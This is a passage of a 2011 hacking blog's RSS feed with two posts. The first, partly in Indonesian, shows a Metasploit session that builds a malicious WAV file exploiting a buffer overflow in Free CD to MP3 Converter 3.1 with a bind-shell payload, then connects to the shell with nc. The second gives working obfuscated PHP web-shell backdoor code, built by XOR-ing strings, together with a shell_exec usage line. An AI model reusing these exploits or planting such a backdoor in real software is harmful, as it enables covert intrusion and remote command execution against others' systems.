+ -- --=[ 738 exploits - 376 auxiliary - 82 post
+ -- --=[ 228 payloads - 27 encoders - 8 nops
       =[ svn r13774 updated yesterday (2011.09.22)

msf &gt; use exploit/windows/fileformat/freecdmp3_wav
msf  exploit(freecdmp3_wav) &gt; info

       Name: Free CD to MP3 Converter 3.1 Buffer Overflow
     Module: exploit/windows/fileformat/freecdmp3_wav
    Version: 0
   Platform: Windows
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Normal

Provided by:
  C4SS!0 G0M3S
  modpr0be

Available targets:
  Id  Name
  --  ----
  0   Windows XP

Basic options:
  Name      Current Setting  Required  Description
  ----      ---------------  --------  -----------
  FILENAME  msf.wav          no        The file name.

Payload information:
  Space: 800
  Avoid: 4 characters

Description:
  This module exploits a buffer overflow in Free CD to MP3 Converter
  3.1. When the application is used to import a specially crafted wav
  file, a buffer overflow occurs allowing arbitrary code execution.

References:

http://www.osvdb.org/69116


http://www.exploit-db.com/exploits/15480/

msf  exploit(freecdmp3_wav) &gt; set payload windows/shell_bind_tcp
payload =&gt; windows/shell_bind_tcp
msf  exploit(freecdmp3_wav) &gt; set lport 4321
lport =&gt; 4321
msf  exploit(freecdmp3_wav) &gt; exploit 

[*] Creating 'msf.wav' file ...
[*] Generated output file /home/tom/.msf4/data/exploits/msf.wav
msf  exploit(freecdmp3_wav) &gt;</pre>
<p>Dan ketika di load oleh program Free CD to MP3 Converter, sekilas program akan terlihat &#8216;hang&#8217; tapi jika kita lihat melalui netstat:</p>
<div id="attachment_1445" class="wp-caption aligncenter" style="width: 420px"><a href="http://i1.wp.com/www.digital-echidna.org/wp-content/uploads/2011/09/Program-Manager_2011-09-24_16-39-44.png?resize=410%2C307" rel="lightbox[1406]"><img class="size-full wp-image-1445 " title="Free CD to MP3 Converter" src="http://i1.wp.com/www.digital-echidna.org/wp-content/uploads/2011/09/Program-Manager_2011-09-24_16-39-44.png?resize=410%2C307" alt="" /></a><p class="wp-caption-text">listening on port 4321</p></div>
<p>Dan ketika kita melakukan koneksi ke port tersebut:</p>
<div id="attachment_1446" class="wp-caption aligncenter" style="width: 471px"><a href="http://i0.wp.com/www.digital-echidna.org/wp-content/uploads/2011/09/vulns1.png?resize=461%2C322" rel="lightbox[1406]"><img class="size-full wp-image-1446 " title="NC on port 4321" src="http://i0.wp.com/www.digital-echidna.org/wp-content/uploads/2011/09/vulns1.png?resize=461%2C322" alt="" /></a><p class="wp-caption-text">nc to port 4321</p></div>
<p>Kita berhasil mengkonversi exploit yang sudah ada ke dalam Metasploit. Sekarang coba porting exploit berbasis SEH yang kemarin sudah kita kerjakan sama-sama <img src='http://i2.wp.com/www.digital-echidna.org/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /><br />
Selamat mencoba!</p>
<div class="shr-publisher-1406"></div><!-- Start Shareaholic LikeButtonSetBottom Automatic --><div style="clear: both; min-height: 1px; height: 3px; width: 100%;"></div><div class='shareaholic-like-buttonset' style='float:none;height:30px;'><a class='shareaholic-googleplusone' data-shr_size='medium' data-shr_count='true' data-shr_href='http%3A%2F%2Fwww.digital-echidna.org%2F2011%2F09%2Fporting-your-exploit-to-metasploit%2F' data-shr_title='Porting+Your+Exploit+to+Metasploit'></a><a class='shareaholic-fblike' data-shr_layout='button_count' data-shr_showfaces='false' data-shr_href='http%3A%2F%2Fwww.digital-echidna.org%2F2011%2F09%2Fporting-your-exploit-to-metasploit%2F' data-shr_title='Porting+Your+Exploit+to+Metasploit'></a><a class='shareaholic-tweetbutton' data-shr_count='horizontal' data-shr_href='http%3A%2F%2Fwww.digital-echidna.org%2F2011%2F09%2Fporting-your-exploit-to-metasploit%2F' data-shr_title='Porting+Your+Exploit+to+Metasploit'></a></div><div style="clear: both; min-height: 1px; height: 3px; width: 100%;"></div><!-- End Shareaholic LikeButtonSetBottom Automatic -->]]></content:encoded>
			<wfw:commentRss>http://www.digital-echidna.org/2011/09/porting-your-exploit-to-metasploit/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Non-alphanumeric PHP Simple Backdoor</title>
		<link>http://www.digital-echidna.org/2011/09/non-alphanumeric-php-simple-backdoor/</link>
		<comments>http://www.digital-echidna.org/2011/09/non-alphanumeric-php-simple-backdoor/#comments</comments>
		<pubDate>Sat, 24 Sep 2011 05:48:08 +0000</pubDate>
		<dc:creator>otoy</dc:creator>
				<category><![CDATA[Hacking]]></category>
		<category><![CDATA[Tools]]></category>
		<category><![CDATA[Web Hacking]]></category>
		<category><![CDATA[backdoor]]></category>
		<category><![CDATA[non-alphanumeric]]></category>
		<category><![CDATA[php]]></category>

		<guid isPermaLink="false">http://www.digital-echidna.org/?p=1424</guid>
		<description><![CDATA[After read and learn about non-alphanumeric code in php, i decide to write my own non-alphanumeric PHP simple backdoor. &#60;? $_="{"; #XOR char $_=($_^"&#60;").($_^"&#62;").($_^"/"); #XOR = GET ?&#62; &#60;?=${'_'.$_}["_"](${'_'.$_}["__"]);?&#62; well, it&#8217;s a quite simple program, it&#8217;s just a XOR function over strings. By XOR-ing &#8220;&#60;&#62;/&#8221; with &#8220;{&#8221; we have &#8220;GET&#8221; string as the result. put the [...]]]></description>
				<content:encoded><![CDATA[<!-- Start Shareaholic LikeButtonSetTop Automatic --><!-- End Shareaholic LikeButtonSetTop Automatic --><p>After read and learn about <a href="http://www.thespanner.co.uk/2011/09/22/non-alphanumeric-code-in-php/" target="_blank">non-alphanumeric code in php</a>, i decide to write my own non-alphanumeric PHP simple backdoor.</p>
<pre class="brush: php">&lt;?
$_="{"; #XOR char
$_=($_^"&lt;").($_^"&gt;").($_^"/"); #XOR = GET
?&gt;
&lt;?=${'_'.$_}["_"](${'_'.$_}["__"]);?&gt;</pre>
<p>well, it&#8217;s a quite simple program, it&#8217;s just a XOR function over strings. By XOR-ing &#8220;<strong>&lt;&gt;/</strong>&#8221; with &#8220;<strong>{</strong>&#8221; we have &#8220;<strong>GET</strong>&#8221; string as the result.<br />
put the result in one-liner code execution and done.</p>
<p>Another version with &#8220;<strong>&lt;pre&gt;</strong>&#8221; tag.</p>
<pre class="brush: php">&lt;?
$_="{"; #XOR char
$__=($_^"+").($_^")").($_^"&gt;"); #XOR = PRE
$_=($_^"&lt;").($_^"&gt;").($_^"/"); #XOR = GET
?&gt;
&lt;?="&lt;".$__."&gt;".${'_'.$_}["_"](${'_'.$_}["__"]);?&gt;</pre>
<div id='stb-box-4511' class='stb-info_box' ><strong>execution:</strong><br />
blabla.php?_=shell_exec&amp;__=id</div>
<div class="shr-publisher-1424"></div><!-- Start Shareaholic LikeButtonSetBottom Automatic --><div style="clear: both; min-height: 1px; height: 3px; width: 100%;"></div><div class='shareaholic-like-buttonset' style='float:none;height:30px;'><a class='shareaholic-googleplusone' data-shr_size='medium' data-shr_count='true' data-shr_href='http%3A%2F%2Fwww.digital-echidna.org%2F2011%2F09%2Fnon-alphanumeric-php-simple-backdoor%2F' data-shr_title='Non-alphanumeric+PHP+Simple+Backdoor'></a><a class='shareaholic-fblike' data-shr_layout='button_count' data-shr_showfaces='false' data-shr_href='http%3A%2F%2Fwww.digital-echidna.org%2F2011%2F09%2Fnon-alphanumeric-php-simple-backdoor%2F' data-shr_title='Non-alphanumeric+PHP+Simple+Backdoor'></a><a class='shareaholic-tweetbutton' data-shr_count='horizontal' data-shr_href='http%3A%2F%2Fwww.digital-echidna.org%2F2011%2F09%2Fnon-alphanumeric-php-simple-backdoor%2F' data-shr_title='Non-alphanumeric+PHP+Simple+Backdoor'></a></div><div style="clear: both; min-height: 1px; height: 3px; width: 100%;"></div><!-- End Shareaholic LikeButtonSetBottom Automatic -->]]></content:encoded>
			<wfw:commentRss>http://www.digital-echidna.org/2011/09/non-alphanumeric-php-simple-backdoor/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
